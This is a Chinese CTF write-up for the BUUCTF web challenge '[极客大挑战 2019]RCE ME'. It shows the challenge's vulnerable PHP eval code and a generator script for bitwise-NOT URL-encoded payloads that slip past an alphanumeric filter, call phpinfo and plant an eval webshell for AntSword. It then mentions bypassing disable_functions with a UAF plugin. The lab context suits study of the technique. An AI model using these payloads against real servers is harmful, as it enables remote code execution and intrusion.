CTF-Web-[极客大挑战 2019]RCE ME
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
题目
Web类,[极客大挑战 2019]RCE ME
打开题目的实例
思路
把代码拿过来
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>
查找php的信息
?code=(~%8F%97%8F%96%91%99%90)();
构造一个shell连上蚁剑
使用一句话木马
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
进入之后直接找根目录下的flag
下面有两个文件,但是我们的shell不能执行命令
原因是我们之前查找phpinfo的时候,disable_functions 禁用了太多函数,我们需要绕开disable_functions
然后蚁剑有一个插件有这样的功能
选择PHP_GC_UAF模式
然后回进入到一个虚拟shell模式,输入/readflag,得到flag
感谢
BUUCTF以及勤劳的自己
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。